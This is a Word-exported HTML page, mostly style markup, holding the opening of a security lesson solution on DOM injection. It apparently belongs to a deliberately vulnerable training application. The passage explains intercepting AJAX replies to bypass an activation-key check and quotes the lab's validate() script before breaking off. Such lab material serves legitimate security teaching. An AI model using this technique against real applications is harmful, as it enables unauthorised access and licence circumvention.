<w:LsdException Locked="false" Priority="70" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Dark List"/>
|
||||
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful Shading"/>
|
||||
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful List"/>
|
||||
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful Grid"/>
|
||||
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light Shading Accent 1"/>
|
||||
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light List Accent 1"/>
|
||||
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light Grid Accent 1"/>
|
||||
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Shading 1 Accent 1"/>
|
||||
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Shading 2 Accent 1"/>
|
||||
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium List 1 Accent 1"/>
|
||||
<w:LsdException Locked="false" UnhideWhenUsed="false" Name="Revision"/>
|
||||
<w:LsdException Locked="false" Priority="34" SemiHidden="false"
|
||||
UnhideWhenUsed="false" QFormat="true" Name="List Paragraph"/>
|
||||
<w:LsdException Locked="false" Priority="29" SemiHidden="false"
|
||||
UnhideWhenUsed="false" QFormat="true" Name="Quote"/>
|
||||
<w:LsdException Locked="false" Priority="30" SemiHidden="false"
|
||||
UnhideWhenUsed="false" QFormat="true" Name="Intense Quote"/>
|
||||
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium List 2 Accent 1"/>
|
||||
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 1 Accent 1"/>
|
||||
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 2 Accent 1"/>
|
||||
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 3 Accent 1"/>
|
||||
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Dark List Accent 1"/>
|
||||
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful Shading Accent 1"/>
|
||||
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful List Accent 1"/>
|
||||
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful Grid Accent 1"/>
|
||||
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light Shading Accent 2"/>
|
||||
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light List Accent 2"/>
|
||||
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light Grid Accent 2"/>
|
||||
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Shading 1 Accent 2"/>
|
||||
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Shading 2 Accent 2"/>
|
||||
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium List 1 Accent 2"/>
|
||||
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium List 2 Accent 2"/>
|
||||
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 1 Accent 2"/>
|
||||
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 2 Accent 2"/>
|
||||
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 3 Accent 2"/>
|
||||
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Dark List Accent 2"/>
|
||||
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful Shading Accent 2"/>
|
||||
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful List Accent 2"/>
|
||||
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful Grid Accent 2"/>
|
||||
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light Shading Accent 3"/>
|
||||
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light List Accent 3"/>
|
||||
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light Grid Accent 3"/>
|
||||
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Shading 1 Accent 3"/>
|
||||
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Shading 2 Accent 3"/>
|
||||
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium List 1 Accent 3"/>
|
||||
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium List 2 Accent 3"/>
|
||||
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 1 Accent 3"/>
|
||||
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 2 Accent 3"/>
|
||||
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 3 Accent 3"/>
|
||||
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Dark List Accent 3"/>
|
||||
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful Shading Accent 3"/>
|
||||
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful List Accent 3"/>
|
||||
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful Grid Accent 3"/>
|
||||
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light Shading Accent 4"/>
|
||||
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light List Accent 4"/>
|
||||
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light Grid Accent 4"/>
|
||||
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Shading 1 Accent 4"/>
|
||||
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Shading 2 Accent 4"/>
|
||||
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium List 1 Accent 4"/>
|
||||
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium List 2 Accent 4"/>
|
||||
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 1 Accent 4"/>
|
||||
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 2 Accent 4"/>
|
||||
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 3 Accent 4"/>
|
||||
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Dark List Accent 4"/>
|
||||
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful Shading Accent 4"/>
|
||||
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful List Accent 4"/>
|
||||
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful Grid Accent 4"/>
|
||||
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light Shading Accent 5"/>
|
||||
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light List Accent 5"/>
|
||||
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light Grid Accent 5"/>
|
||||
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Shading 1 Accent 5"/>
|
||||
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Shading 2 Accent 5"/>
|
||||
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium List 1 Accent 5"/>
|
||||
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium List 2 Accent 5"/>
|
||||
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 1 Accent 5"/>
|
||||
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 2 Accent 5"/>
|
||||
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 3 Accent 5"/>
|
||||
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Dark List Accent 5"/>
|
||||
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful Shading Accent 5"/>
|
||||
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful List Accent 5"/>
|
||||
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful Grid Accent 5"/>
|
||||
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light Shading Accent 6"/>
|
||||
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light List Accent 6"/>
|
||||
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light Grid Accent 6"/>
|
||||
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Shading 1 Accent 6"/>
|
||||
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Shading 2 Accent 6"/>
|
||||
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium List 1 Accent 6"/>
|
||||
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium List 2 Accent 6"/>
|
||||
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 1 Accent 6"/>
|
||||
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 2 Accent 6"/>
|
||||
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 3 Accent 6"/>
|
||||
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Dark List Accent 6"/>
|
||||
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful Shading Accent 6"/>
|
||||
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful List Accent 6"/>
|
||||
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful Grid Accent 6"/>
|
||||
<w:LsdException Locked="false" Priority="19" SemiHidden="false"
|
||||
UnhideWhenUsed="false" QFormat="true" Name="Subtle Emphasis"/>
|
||||
<w:LsdException Locked="false" Priority="21" SemiHidden="false"
|
||||
UnhideWhenUsed="false" QFormat="true" Name="Intense Emphasis"/>
|
||||
<w:LsdException Locked="false" Priority="31" SemiHidden="false"
|
||||
UnhideWhenUsed="false" QFormat="true" Name="Subtle Reference"/>
|
||||
<w:LsdException Locked="false" Priority="32" SemiHidden="false"
|
||||
UnhideWhenUsed="false" QFormat="true" Name="Intense Reference"/>
|
||||
<w:LsdException Locked="false" Priority="33" SemiHidden="false"
|
||||
UnhideWhenUsed="false" QFormat="true" Name="Book Title"/>
|
||||
<w:LsdException Locked="false" Priority="37" Name="Bibliography"/>
|
||||
<w:LsdException Locked="false" Priority="39" QFormat="true" Name="TOC Heading"/>
|
||||
</w:LatentStyles>
|
||||
</xml><![endif]-->
|
||||
<style>
|
||||
<!--
|
||||
/* Font Definitions */
|
||||
@font-face
|
||||
{font-family:"MS Mincho";
|
||||
panose-1:2 2 6 9 4 2 5 8 3 4;
|
||||
mso-font-alt:"\FF2D\FF33 \660E\671D";
|
||||
mso-font-charset:128;
|
||||
mso-generic-font-family:modern;
|
||||
mso-font-pitch:fixed;
|
||||
mso-font-signature:-1610612033 1757936891 16 0 131231 0;}
|
||||
@font-face
|
||||
{font-family:"Cambria Math";
|
||||
panose-1:2 4 5 3 5 4 6 3 2 4;
|
||||
mso-font-charset:0;
|
||||
mso-generic-font-family:roman;
|
||||
mso-font-pitch:variable;
|
||||
mso-font-signature:-1610611985 1107304683 0 0 159 0;}
|
||||
@font-face
|
||||
{font-family:Tahoma;
|
||||
panose-1:2 11 6 4 3 5 4 4 2 4;
|
||||
mso-font-charset:0;
|
||||
mso-generic-font-family:swiss;
|
||||
mso-font-pitch:variable;
|
||||
mso-font-signature:1627400839 -2147483648 8 0 66047 0;}
|
||||
@font-face
|
||||
{font-family:"\@MS Mincho";
|
||||
panose-1:2 2 6 9 4 2 5 8 3 4;
|
||||
mso-font-charset:128;
|
||||
mso-generic-font-family:modern;
|
||||
mso-font-pitch:fixed;
|
||||
mso-font-signature:-1610612033 1757936891 16 0 131231 0;}
|
||||
/* Style Definitions */
|
||||
p.MsoNormal, li.MsoNormal, div.MsoNormal
|
||||
{mso-style-unhide:no;
|
||||
mso-style-qformat:yes;
|
||||
mso-style-parent:"";
|
||||
margin:0cm;
|
||||
margin-bottom:.0001pt;
|
||||
mso-pagination:widow-orphan;
|
||||
font-size:12.0pt;
|
||||
font-family:"Times New Roman","serif";
|
||||
mso-fareast-font-family:"Times New Roman";}
|
||||
h1
|
||||
{mso-style-unhide:no;
|
||||
mso-style-qformat:yes;
|
||||
mso-style-link:"Heading 1 Char";
|
||||
mso-style-next:Normal;
|
||||
margin-top:12.0pt;
|
||||
margin-right:0cm;
|
||||
margin-bottom:3.0pt;
|
||||
margin-left:0cm;
|
||||
mso-pagination:widow-orphan;
|
||||
page-break-after:avoid;
|
||||
mso-outline-level:1;
|
||||
font-size:16.0pt;
|
||||
font-family:"Arial","sans-serif";
|
||||
mso-fareast-font-family:"MS Mincho";
|
||||
mso-font-kerning:16.0pt;
|
||||
mso-fareast-language:JA;
|
||||
font-weight:bold;}
|
||||
h2
|
||||
{mso-style-noshow:yes;
|
||||
mso-style-priority:9;
|
||||
mso-style-qformat:yes;
|
||||
mso-style-link:"Heading 2 Char";
|
||||
mso-style-next:Normal;
|
||||
margin-top:10.0pt;
|
||||
margin-right:0cm;
|
||||
margin-bottom:0cm;
|
||||
margin-left:0cm;
|
||||
margin-bottom:.0001pt;
|
||||
mso-pagination:widow-orphan lines-together;
|
||||
page-break-after:avoid;
|
||||
mso-outline-level:2;
|
||||
font-size:13.0pt;
|
||||
font-family:"Cambria","serif";
|
||||
mso-ascii-font-family:Cambria;
|
||||
mso-ascii-theme-font:major-latin;
|
||||
mso-fareast-font-family:"Times New Roman";
|
||||
mso-fareast-theme-font:major-fareast;
|
||||
mso-hansi-font-family:Cambria;
|
||||
mso-hansi-theme-font:major-latin;
|
||||
mso-bidi-font-family:"Times New Roman";
|
||||
mso-bidi-theme-font:major-bidi;
|
||||
color:#4F81BD;
|
||||
mso-themecolor:accent1;
|
||||
font-weight:bold;}
|
||||
p.MsoCaption, li.MsoCaption, div.MsoCaption
|
||||
{mso-style-noshow:yes;
|
||||
mso-style-qformat:yes;
|
||||
mso-style-next:Normal;
|
||||
margin:0cm;
|
||||
margin-bottom:.0001pt;
|
||||
mso-pagination:widow-orphan;
|
||||
font-size:10.0pt;
|
||||
font-family:"Times New Roman","serif";
|
||||
mso-fareast-font-family:"Times New Roman";
|
||||
font-weight:bold;}
|
||||
p.MsoEnvelopeReturn, li.MsoEnvelopeReturn, div.MsoEnvelopeReturn
|
||||
{mso-style-noshow:yes;
|
||||
mso-style-priority:99;
|
||||
margin:0cm;
|
||||
margin-bottom:.0001pt;
|
||||
mso-pagination:widow-orphan;
|
||||
font-size:12.0pt;
|
||||
font-family:"Times New Roman","serif";
|
||||
mso-fareast-font-family:"Times New Roman";
|
||||
mso-fareast-theme-font:major-fareast;}
|
||||
a:link, span.MsoHyperlink
|
||||
{mso-style-noshow:yes;
|
||||
color:blue;
|
||||
text-decoration:underline;
|
||||
text-underline:single;}
|
||||
a:visited, span.MsoHyperlinkFollowed
|
||||
{mso-style-noshow:yes;
|
||||
mso-style-priority:99;
|
||||
color:purple;
|
||||
mso-themecolor:followedhyperlink;
|
||||
text-decoration:underline;
|
||||
text-underline:single;}
|
||||
p
|
||||
{mso-style-noshow:yes;
|
||||
mso-margin-top-alt:auto;
|
||||
margin-right:0cm;
|
||||
mso-margin-bottom-alt:auto;
|
||||
margin-left:0cm;
|
||||
mso-pagination:widow-orphan;
|
||||
font-size:12.0pt;
|
||||
font-family:"Times New Roman","serif";
|
||||
mso-fareast-font-family:"Times New Roman";}
|
||||
pre
|
||||
{mso-style-noshow:yes;
|
||||
mso-style-priority:99;
|
||||
mso-style-link:"HTML Preformatted Char";
|
||||
margin:0cm;
|
||||
margin-bottom:.0001pt;
|
||||
mso-pagination:widow-orphan;
|
||||
tab-stops:45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;
|
||||
font-size:10.0pt;
|
||||
font-family:"Courier New";
|
||||
mso-fareast-font-family:"Times New Roman";}
|
||||
p.MsoAcetate, li.MsoAcetate, div.MsoAcetate
|
||||
{mso-style-noshow:yes;
|
||||
mso-style-priority:99;
|
||||
mso-style-link:"Balloon Text Char";
|
||||
margin:0cm;
|
||||
margin-bottom:.0001pt;
|
||||
mso-pagination:widow-orphan;
|
||||
font-size:8.0pt;
|
||||
font-family:"Tahoma","sans-serif";
|
||||
mso-fareast-font-family:"Times New Roman";}
|
||||
span.Heading1Char
|
||||
{mso-style-name:"Heading 1 Char";
|
||||
mso-style-unhide:no;
|
||||
mso-style-locked:yes;
|
||||
mso-style-link:"Heading 1";
|
||||
mso-ansi-font-size:16.0pt;
|
||||
mso-bidi-font-size:16.0pt;
|
||||
font-family:"MS Mincho";
|
||||
mso-ascii-font-family:"MS Mincho";
|
||||
mso-fareast-font-family:"MS Mincho";
|
||||
mso-hansi-font-family:"MS Mincho";
|
||||
mso-bidi-font-family:Arial;
|
||||
mso-font-kerning:16.0pt;
|
||||
mso-fareast-language:JA;
|
||||
font-weight:bold;}
|
||||
span.Heading2Char
|
||||
{mso-style-name:"Heading 2 Char";
|
||||
mso-style-noshow:yes;
|
||||
mso-style-priority:9;
|
||||
mso-style-unhide:no;
|
||||
mso-style-locked:yes;
|
||||
mso-style-link:"Heading 2";
|
||||
mso-ansi-font-size:13.0pt;
|
||||
mso-bidi-font-size:13.0pt;
|
||||
font-family:"Cambria","serif";
|
||||
mso-ascii-font-family:Cambria;
|
||||
mso-ascii-theme-font:major-latin;
|
||||
mso-fareast-font-family:"Times New Roman";
|
||||
mso-fareast-theme-font:major-fareast;
|
||||
mso-hansi-font-family:Cambria;
|
||||
mso-hansi-theme-font:major-latin;
|
||||
color:#4F81BD;
|
||||
mso-themecolor:accent1;
|
||||
font-weight:bold;}
|
||||
span.HTMLPreformattedChar
|
||||
{mso-style-name:"HTML Preformatted Char";
|
||||
mso-style-noshow:yes;
|
||||
mso-style-priority:99;
|
||||
mso-style-unhide:no;
|
||||
mso-style-locked:yes;
|
||||
mso-style-link:"HTML Preformatted";
|
||||
font-family:"Courier New";
|
||||
mso-ascii-font-family:"Courier New";
|
||||
mso-fareast-font-family:"Times New Roman";
|
||||
mso-hansi-font-family:"Courier New";
|
||||
mso-bidi-font-family:"Courier New";}
|
||||
span.BalloonTextChar
|
||||
{mso-style-name:"Balloon Text Char";
|
||||
mso-style-noshow:yes;
|
||||
mso-style-priority:99;
|
||||
mso-style-unhide:no;
|
||||
mso-style-locked:yes;
|
||||
mso-style-link:"Balloon Text";
|
||||
mso-ansi-font-size:8.0pt;
|
||||
mso-bidi-font-size:8.0pt;
|
||||
font-family:"Tahoma","sans-serif";
|
||||
mso-ascii-font-family:Tahoma;
|
||||
mso-fareast-font-family:"Times New Roman";
|
||||
mso-hansi-font-family:Tahoma;
|
||||
mso-bidi-font-family:Tahoma;}
|
||||
.MsoChpDefault
|
||||
{mso-style-type:export-only;
|
||||
mso-default-props:yes;
|
||||
font-size:10.0pt;
|
||||
mso-ansi-font-size:10.0pt;
|
||||
mso-bidi-font-size:10.0pt;
|
||||
mso-ascii-font-family:Arial;
|
||||
mso-fareast-font-family:Calibri;
|
||||
mso-fareast-theme-font:minor-latin;
|
||||
mso-hansi-font-family:Arial;
|
||||
mso-bidi-font-family:"Times New Roman";
|
||||
mso-bidi-theme-font:major-bidi;}
|
||||
@page Section1
|
||||
{size:595.3pt 841.9pt;
|
||||
margin:70.55pt 56.9pt 70.55pt 56.9pt;
|
||||
mso-header-margin:35.3pt;
|
||||
mso-footer-margin:35.3pt;
|
||||
mso-title-page:yes;
|
||||
mso-paper-source:0;}
|
||||
div.Section1
|
||||
{page:Section1;}
|
||||
-->
|
||||
</style>
|
||||
<!--[if gte mso 10]>
|
||||
<style>
|
||||
/* Style Definitions */
|
||||
table.MsoNormalTable
|
||||
{mso-style-name:"Table Normal";
|
||||
mso-tstyle-rowband-size:0;
|
||||
mso-tstyle-colband-size:0;
|
||||
mso-style-noshow:yes;
|
||||
mso-style-priority:99;
|
||||
mso-style-qformat:yes;
|
||||
mso-style-parent:"";
|
||||
mso-padding-alt:0cm 5.4pt 0cm 5.4pt;
|
||||
mso-para-margin:0cm;
|
||||
mso-para-margin-bottom:.0001pt;
|
||||
mso-pagination:widow-orphan;
|
||||
font-size:10.0pt;
|
||||
font-family:"Arial","sans-serif";
|
||||
mso-bidi-font-family:"Times New Roman";
|
||||
mso-bidi-theme-font:major-bidi;}
|
||||
</style>
|
||||
<![endif]--><!--[if gte mso 9]><xml>
|
||||
<o:shapedefaults v:ext="edit" spidmax="4098"/>
|
||||
</xml><![endif]--><!--[if gte mso 9]><xml>
|
||||
<o:shapelayout v:ext="edit">
|
||||
<o:idmap v:ext="edit" data="1"/>
|
||||
</o:shapelayout></xml><![endif]-->
|
||||
</head>
|
||||
|
||||
<body lang=EN-US link=blue vlink=purple style='tab-interval:36.0pt'>
|
||||
|
||||
<div class=Section1>
|
||||
|
||||
<p class=MsoNormal><b><span style='font-family:"Arial","sans-serif"'>Lesson
|
||||
Plan Title:</span></b><span style='font-family:"Arial","sans-serif"'> How to
|
||||
Perform DOM Injection Attack. <o:p></o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'><o:p> </o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><b><span style='font-family:"Arial","sans-serif"'>Concept /
|
||||
Topic To Teach:</span></b><span style='font-family:"Arial","sans-serif"'> <o:p></o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'>How to
|
||||
perform DOM injection attacks. <o:p></o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'><o:p> </o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><b><span style='font-family:"Arial","sans-serif"'>How the
|
||||
attacks works:</span></b><span style='font-family:"Arial","sans-serif"'> <o:p></o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'>Some applications
|
||||
specially the ones that uses AJAX manipulates and updates the DOM directly
|
||||
using JavaScript, DHTML and eval() method.<br>
|
||||
An attacker may take advantage of that by intercepting the reply and try to
|
||||
inject some javascript commands to exploit his attacks. <o:p></o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'><o:p> </o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><b><span style='font-family:"Arial","sans-serif"'>General
|
||||
Goal(s):</span></b><span style='font-family:"Arial","sans-serif"'> <o:p></o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'><!-- Start Instructions -->*
|
||||
Your victim is a system that takes an activation key to allow you to use it.<br>
|
||||
* Your goal should be to try to get to enable the activate button.<br>
|
||||
* Take some time to see the HTML source in order to understand how the key
|
||||
validation process works.<o:p></o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'><o:p> </o:p></span></p>
|
||||
|
||||
<p class=MsoNormal style='page-break-after:avoid'><span style='font-family:
|
||||
"Arial","sans-serif";mso-no-proof:yes'><!--[if gte vml 1]><v:shapetype id="_x0000_t75"
|
||||
coordsize="21600,21600" o:spt="75" o:preferrelative="t" path="m@4@5l@4@11@9@11@9@5xe"
|
||||
filled="f" stroked="f">
|
||||
<v:stroke joinstyle="miter"/>
|
||||
<v:formulas>
|
||||
<v:f eqn="if lineDrawn pixelLineWidth 0"/>
|
||||
<v:f eqn="sum @0 1 0"/>
|
||||
<v:f eqn="sum 0 0 @1"/>
|
||||
<v:f eqn="prod @2 1 2"/>
|
||||
<v:f eqn="prod @3 21600 pixelWidth"/>
|
||||
<v:f eqn="prod @3 21600 pixelHeight"/>
|
||||
<v:f eqn="sum @0 0 1"/>
|
||||
<v:f eqn="prod @6 1 2"/>
|
||||
<v:f eqn="prod @7 21600 pixelWidth"/>
|
||||
<v:f eqn="sum @8 21600 0"/>
|
||||
<v:f eqn="prod @7 21600 pixelHeight"/>
|
||||
<v:f eqn="sum @10 21600 0"/>
|
||||
</v:formulas>
|
||||
<v:path o:extrusionok="f" gradientshapeok="t" o:connecttype="rect"/>
|
||||
<o:lock v:ext="edit" aspectratio="t"/>
|
||||
</v:shapetype><v:shape id="Picture_x0020_49" o:spid="_x0000_i1030" type="#_x0000_t75"
|
||||
style='width:480pt;height:277.5pt;visibility:visible;mso-wrap-style:square'>
|
||||
<v:imagedata src="lesson_solutions/DOMInjection_files/image001.png" o:title=""/>
|
||||
</v:shape><![endif]--><![if !vml]><img width=640 height=370
|
||||
src="lesson_solutions/DOMInjection_files/image002.jpg" v:shapes="Picture_x0020_49"><![endif]></span></p>
|
||||
|
||||
<p class=MsoCaption>Figure <!--[if supportFields]><span style='mso-element:
|
||||
field-begin'></span><span style='mso-spacerun:yes'><3E></span>SEQ Figure \* ARABIC
|
||||
<span style='mso-element:field-separator'></span><![endif]--><span
|
||||
style='mso-no-proof:yes'>1</span><!--[if supportFields]><span style='mso-element:
|
||||
field-end'></span><![endif]--> AJAX Security - DOM Injection</p>
|
||||
|
||||
<p class=MsoNormal><o:p> </o:p></p>
|
||||
|
||||
<p class=MsoNormal><b><span style='font-family:"Arial","sans-serif"'>Solution:<o:p></o:p></span></b></p>
|
||||
|
||||
<p class=MsoNormal><b><span style='font-family:"Arial","sans-serif"'><o:p> </o:p></span></b></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'>AJAX requires
|
||||
XML communication between the browser and the web application. When you view
|
||||
the source of the HTML page, you will notice the usage of XMLHttpRequest:<o:p></o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'><o:p> </o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'><script><o:p></o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'>function
|
||||
validate() {<o:p></o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'>var keyField
|
||||
= document.getElementById('key');<o:p></o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'>var url =
|
||||
'attack?Screen=80&menu=1150&from=ajax&key=' +
|
||||
encodeURIComponent(keyField.value);<o:p></o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'>if (typeof
|
